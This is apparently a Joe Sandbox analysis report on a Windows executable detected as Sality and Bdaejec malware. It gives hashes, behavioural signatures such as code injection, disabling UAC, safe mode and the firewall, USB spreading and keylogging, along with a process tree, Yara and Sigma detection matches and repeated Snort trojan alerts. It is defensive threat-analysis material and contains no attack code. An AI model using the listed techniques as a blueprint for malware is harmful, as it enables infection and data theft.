Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
a4#Uff09.exe

Overview

General Information

Sample name:a4#Uff09.exe
renamed because original name is a hash value
Original sample name:R2.exe
Analysis ID:1467982
MD5:75d53417d21654acbe4565e04a5e3353
SHA1:18f996da80eee26b0fe48da445586f190aa710bd
SHA256:ecbc34e6b5739a37dc046dfecf8e067eff30b4d1a4bf7531147286fbb45e1be5
Tags:exesality
Infos:

Detection

Bdaejec, Sality
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Snort IDS alert for network traffic
Yara detected Bdaejec
Yara detected Sality
AI detected suspicious sample
Allocates memory in foreign processes
Changes security center settings (notifications, updates, antivirus, firewall)
Contains functionality to inject threads in other processes
Creates a thread in another existing process (thread injection)
Creates autorun.inf (USB autostart)
Deletes keys which are related to windows safe boot (disables safe mode boot)
Disables UAC (registry)
Disables user account control notifications
Drops PE files with a suspicious file extension
Infects executable files (exe, dll, sys, html)
Injects code into the Windows Explorer (explorer.exe)
Machine Learning detection for dropped file
Machine Learning detection for sample
May modify the system service descriptor table (often done to hook functions)
Modifies the windows firewall
Modifies the windows firewall notifications settings
PE file contains section with special chars
PE file has a writeable .text section
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses known network protocols on non-standard ports
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Checks for available system drives (often done to infect USB drives)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found evasive API chain checking for process token information
Found inlined nop instructions (likely shell or obfuscated code)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May infect USB drives
May sleep (evasive loops) to hinder dynamic analysis
Modifies existing windows services
One or more processes crash
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Sigma detected: Use Short Name Path in Command Line
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses the system / local time for branch decision (may execute only at specific dates)
Yara detected Keylogger Generic
Yara signature match

Classification

Process Tree

  • System is w10x64
  • a4#Uff09.exe (PID: 7020 cmdline: "C:\Users\user\Desktop\a4#Uff09.exe" MD5: 75D53417D21654ACBE4565E04A5E3353)
    • plgMeM.exe (PID: 320 cmdline: C:\Users\user~1\AppData\Local\Temp\plgMeM.exe MD5: 56B2C3810DBA2E939A8BB9FA36D3CF96)
      • WerFault.exe (PID: 7332 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 320 -s 1592 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • fontdrvhost.exe (PID: 772 cmdline: "fontdrvhost.exe" MD5: BBCB897697B3442657C7D6E3EDDBD25F)
    • dllhost.exe (PID: 5112 cmdline: C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} MD5: 08EB78E5BE019DF044C26B14703BD1FA)
    • fontdrvhost.exe (PID: 780 cmdline: "fontdrvhost.exe" MD5: BBCB897697B3442657C7D6E3EDDBD25F)
    • svchost.exe (PID: 5380 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • dwm.exe (PID: 976 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)
    • sihost.exe (PID: 3476 cmdline: sihost.exe MD5: A21E7719D73D0322E2E7D61802CB8F80)
    • svchost.exe (PID: 3524 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • svchost.exe (PID: 3556 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s WpnUserService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • ctfmon.exe (PID: 3852 cmdline: "ctfmon.exe" MD5: B625C18E177D5BEB5A6F6432CCF46FB3)
    • explorer.exe (PID: 4056 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)
    • svchost.exe (PID: 1096 cmdline: C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • StartMenuExperienceHost.exe (PID: 4756 cmdline: "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca MD5: 5CDDF06A40E89358807A2B9506F064D9)
    • RuntimeBroker.exe (PID: 4844 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)
    • SearchApp.exe (PID: 4972 cmdline: "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca MD5: 5E1C9231F1F1DCBA168CA9F3227D9168)
    • RuntimeBroker.exe (PID: 3596 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)
    • ShellExperienceHost.exe (PID: 8092 cmdline: "C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca MD5: 9B8DE9D4EDF68EEF2C1E490ABC291567)
    • RuntimeBroker.exe (PID: 5620 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)
    • smartscreen.exe (PID: 5672 cmdline: C:\Windows\System32\smartscreen.exe -Embedding MD5: 02FB7069B8D8426DC72C9D8A495AF55A)
    • ApplicationFrameHost.exe (PID: 3496 cmdline: C:\Windows\system32\ApplicationFrameHost.exe -Embedding MD5: D58A8A987A8DAFAD9DC32A548CC061E7)
    • RuntimeBroker.exe (PID: 6552 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)
    • WinStore.App.exe (PID: 1868 cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe" -ServerName:App.AppXc75wvwned5vhz4xyxxecvgdjhdkgsdza.mca MD5: 6C44453CD661FC2DB18E4C09C4940399)
    • RuntimeBroker.exe (PID: 3536 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: BA4CFE6461AFA1004C52F19C8F2169DC)
    • TextInputHost.exe (PID: 6852 cmdline: "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXjd5de1g66v206tj52m9d0dtpppx4cgpn.mca MD5: F050189D49E17D0D340DE52E9E5B711F)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
SalityF-Secure states that the Sality virus family has been circulating in the wild as early as 2003. Over the years, the malware has been developed and improved with the addition of new features, such as rootkit or backdoor functionality, and so on, keeping it an active and relevant threat despite the relative age of the malware.Modern Sality variants also have the ability to communicate over a peer-to-peer (P2P) network, allowing an attacker to control a botnet of Sality-infected machines. The combined resources of the Sality botnet may also be used by its controller(s) to perform other malicious actions, such as attacking routers.InfectionSality viruses typically infect executable files on local, shared and removable drives. In earlier variants, the Sality virus simply added its own malicious code to the end of the infected (or host) file, a technique known as prepending. The viral code that Sality inserts is polymorphic, a form of complex code that is intended to make analysis more difficult.Earlier Sality variants were regarded as technically sophisticated in that they use an Entry Point Obscuration (EPO) technique to hide their presence on the system. This technique means that the virus inserts a command somewhere in the middle of an infected file's code, so that when the system is reading the file to execute it and comes to the command, it forces the system to 'jump' to the malware's code and execute that instead. This technique was used to make discovery and disinfection of the malicious code harder.PayloadOnce installed on the computer system, Sality viruses usually also execute a malicious payload. The specific actions performed depend on the specific variant in question, but generally Sality viruses will attempt to terminate processes, particularly those related to security programs. The virus may also attempt to open connections to remote sites, download and run additional malicious files, and steal data from the infected machine.
  • Salty Spider
https://malpedia.caad.fkie.fraunhofer.de/details/win.sality

Malware Configuration

⊘No configs have been found

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\ahcs.pifINDICATOR_EXE_Packed_SimplePolyEngineDetects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or SalityditekSHen
  • 0x14:$b1: yrf<[LordPE]
  • 0x210:$b2: Hello world!
C:\Users\user\AppData\Local\Temp\vmgr.exeINDICATOR_EXE_Packed_SimplePolyEngineDetects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or SalityditekSHen
  • 0x14:$b1: yrf<[LordPE]
  • 0x210:$b2: Hello world!

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
    00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_SalityYara detected SalityJoe Security
      Process Memory Space: a4#Uff09.exe PID: 7020JoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
        Process Memory Space: a4#Uff09.exe PID: 7020JoeSecurity_SalityYara detected SalityJoe Security
          Process Memory Space: plgMeM.exe PID: 320JoeSecurity_BdaejecYara detected BdaejecJoe Security

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            0.2.a4#Uff09.exe.2a52300.11.raw.unpackINDICATOR_EXE_Packed_SimplePolyEngineDetects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or SalityditekSHen
            • 0x1b7c:$s1: Simple Poly Engine v
            • 0x14:$b1: yrf<[LordPE]
            • 0x210:$b2: Hello world!
            0.2.a4#Uff09.exe.2a525f4.12.raw.unpackINDICATOR_EXE_Packed_SimplePolyEngineDetects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or SalityditekSHen
            • 0x1888:$s1: Simple Poly Engine v
            0.2.a4#Uff09.exe.29d0000.10.unpackJoeSecurity_SalityYara detected SalityJoe Security
              0.2.a4#Uff09.exe.29d0000.10.unpackINDICATOR_EXE_Packed_SimplePolyEngineDetects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or SalityditekSHen
              • 0x83e7c:$s1: Simple Poly Engine v
              • 0x82314:$b1: yrf<[LordPE]
              • 0x82510:$b2: Hello world!
              0.2.a4#Uff09.exe.8d0302.5.raw.unpackJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
                Click to see the 2 entries

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: Uncommon Svchost Parent Process
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, CommandLine: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\a4#Uff09.exe", ParentImage: C:\Users\user\Desktop\a4#Uff09.exe, ParentProcessId: 7020, ParentProcessName: a4#Uff09.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, ProcessId: 5380, ProcessName: svchost.exe
                Sigma detected: Use Short Name Path in Command Line
                Source: Process startedAuthor: frack113, Nasreddine Bencherchali: Data: Command: C:\Users\user~1\AppData\Local\Temp\plgMeM.exe, CommandLine: C:\Users\user~1\AppData\Local\Temp\plgMeM.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\plgMeM.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\plgMeM.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\plgMeM.exe, ParentCommandLine: "C:\Users\user\Desktop\a4#Uff09.exe", ParentImage: C:\Users\user\Desktop\a4#Uff09.exe, ParentProcessId: 7020, ParentProcessName: a4#Uff09.exe, ProcessCommandLine: C:\Users\user~1\AppData\Local\Temp\plgMeM.exe, ProcessId: 320, ProcessName: plgMeM.exe
                Sigma detected: Modification of IE Registry Settings
                Source: Registry Key setAuthor: frack113: Data: Details: 0, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\a4#Uff09.exe, ProcessId: 7020, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\GlobalUserOffline
                Sigma detected: Windows Processes Suspicious Parent Directory
                Source: Process startedAuthor: vburov: Data: Command: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, CommandLine: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\a4#Uff09.exe", ParentImage: C:\Users\user\Desktop\a4#Uff09.exe, ParentProcessId: 7020, ParentProcessName: a4#Uff09.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, ProcessId: 5380, ProcessName: svchost.exe

                Snort Signatures

                Timestamp:07/05/24-08:03:54.079676
                SID:2804830
                Source Port:49999
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:07.193888
                SID:2838522
                Source Port:49274
                Destination Port:53
                Protocol:UDP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:07.750441
                SID:2807908
                Source Port:49706
                Destination Port:799
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:07.323406
                SID:2804830
                Source Port:49938
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:45.236101
                SID:2804830
                Source Port:49759
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:20.604250
                SID:2804830
                Source Port:49955
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:39.674041
                SID:2804830
                Source Port:49825
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:25.972827
                SID:2804830
                Source Port:49730
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:06.577493
                SID:2804830
                Source Port:49937
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:04.989762
                SID:2804830
                Source Port:49782
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:19.844628
                SID:2804830
                Source Port:49723
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:21.400592
                SID:2804830
                Source Port:49956
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:50.416771
                SID:2804830
                Source Port:49916
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:33.091948
                SID:2804830
                Source Port:49892
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:04:04.234554
                SID:2804830
                Source Port:50013
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:00.017380
                SID:2804830
                Source Port:49929
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:42.706476
                SID:2804830
                Source Port:49829
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:38.796774
                SID:2804830
                Source Port:49824
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:54.772822
                SID:2804830
                Source Port:49843
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:09.146982
                SID:2804830
                Source Port:49861
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:19.041265
                SID:2804830
                Source Port:49874
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:13.906899
                SID:2804830
                Source Port:49947
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:04.025577
                SID:2804830
                Source Port:49934
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:17.476356
                SID:2804830
                Source Port:49951
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:15.863341
                SID:2804830
                Source Port:49796
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:09.628662
                SID:2804830
                Source Port:49709
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:02.693866
                SID:2804830
                Source Port:49778
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:12.784586
                SID:2804830
                Source Port:49792
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:28.927797
                SID:2804830
                Source Port:49887
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:35.469085
                SID:2804830
                Source Port:49974
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:29.744544
                SID:2804830
                Source Port:49737
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:43.250923
                SID:2804830
                Source Port:49756
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:03.167474
                SID:2804830
                Source Port:49933
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:17.979106
                SID:2804830
                Source Port:49952
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:14.843930
                SID:2804830
                Source Port:49869
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:27.862972
                SID:2804830
                Source Port:49810
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:57.518019
                SID:2804830
                Source Port:49773
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:04:11.191840
                SID:2804830
                Source Port:50021
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:48.219903
                SID:2804830
                Source Port:49992
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:12.165636
                SID:2807908
                Source Port:49712
                Destination Port:799
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:31.891538
                SID:2804830
                Source Port:49815
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:56.946740
                SID:2804830
                Source Port:50003
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:41.619770
                SID:2804830
                Source Port:49903
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:50.101971
                SID:2804830
                Source Port:49838
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:12.978610
                SID:2804830
                Source Port:49866
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:33.772934
                SID:2804830
                Source Port:49818
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:35.491760
                SID:2804830
                Source Port:49895
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:50.018422
                SID:2804830
                Source Port:49995
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:12.232206
                SID:2804830
                Source Port:49865
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:28.544037
                SID:2804830
                Source Port:49965
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:23.145856
                SID:2804830
                Source Port:49804
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:53.141197
                SID:2804830
                Source Port:49767
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:36.313053
                SID:2804830
                Source Port:49896
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:55.275240
                SID:2804830
                Source Port:49844
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:07.294107
                SID:2804830
                Source Port:49859
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:04:07.491473
                SID:2804830
                Source Port:50017
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:08.703238
                SID:2804830
                Source Port:49787
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:23.433566
                SID:2804830
                Source Port:49959
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:50.075882
                SID:2804830
                Source Port:49764
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:35.623129
                SID:2804830
                Source Port:49820
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:11.526434
                SID:2804830
                Source Port:49711
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:44.381931
                SID:2804830
                Source Port:49907
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:04:02.396103
                SID:2804830
                Source Port:50010
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:34.696045
                SID:2804830
                Source Port:49973
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:37.809563
                SID:2804830
                Source Port:49747
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:42.744667
                SID:2804830
                Source Port:49753
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:57.680694
                SID:2804830
                Source Port:50004
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:15.997396
                SID:2804830
                Source Port:49718
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:30.500718
                SID:2804830
                Source Port:49967
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:30.031744
                SID:2804830
                Source Port:49813
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:44.814571
                SID:2804830
                Source Port:49831
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:33.868366
                SID:2804830
                Source Port:49742
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:44.546203
                SID:2804830
                Source Port:49987
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:26.520518
                SID:2804830
                Source Port:49733
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:53.564881
                SID:2804830
                Source Port:49920
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:57.137619
                SID:2804830
                Source Port:49925
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:26.326136
                SID:2804830
                Source Port:49962
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:45.125963
                SID:2804830
                Source Port:49908
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:33.112705
                SID:2804830
                Source Port:49741
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:06.978087
                SID:2804830
                Source Port:49784
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:19.869268
                SID:2804830
                Source Port:49875
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:22.912317
                SID:2804830
                Source Port:49879
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:13.226230
                SID:2804830
                Source Port:49946
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:08.671726
                SID:2804830
                Source Port:49940
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:34.404177
                SID:2804830
                Source Port:49743
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:28.197539
                SID:2804830
                Source Port:49886
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:32.583766
                SID:2804830
                Source Port:49891
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:31.271862
                SID:2804830
                Source Port:49968
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:46.513761
                SID:2804830
                Source Port:49761
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:18.500630
                SID:2804830
                Source Port:49873
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:17.393634
                SID:2804830
                Source Port:49797
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:24.811845
                SID:2804830
                Source Port:49728
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:31.825176
                SID:2804830
                Source Port:49969
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:39.679715
                SID:2804830
                Source Port:49980
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:41.509392
                SID:2804830
                Source Port:49828
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:59.321219
                SID:2804830
                Source Port:49928
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:58.781917
                SID:2804830
                Source Port:49927
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:05.624703
                SID:2804830
                Source Port:49857
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:14.219187
                SID:2804830
                Source Port:49715
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:51.117172
                SID:2804830
                Source Port:49917
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:40.218084
                SID:2804830
                Source Port:49981
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:46.934915
                SID:2804830
                Source Port:49911
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:14.587567
                SID:2804830
                Source Port:49794
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:58.039779
                SID:2804830
                Source Port:49774
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:53.871516
                SID:2804830
                Source Port:49768
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:08.093379
                SID:2804830
                Source Port:49860
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
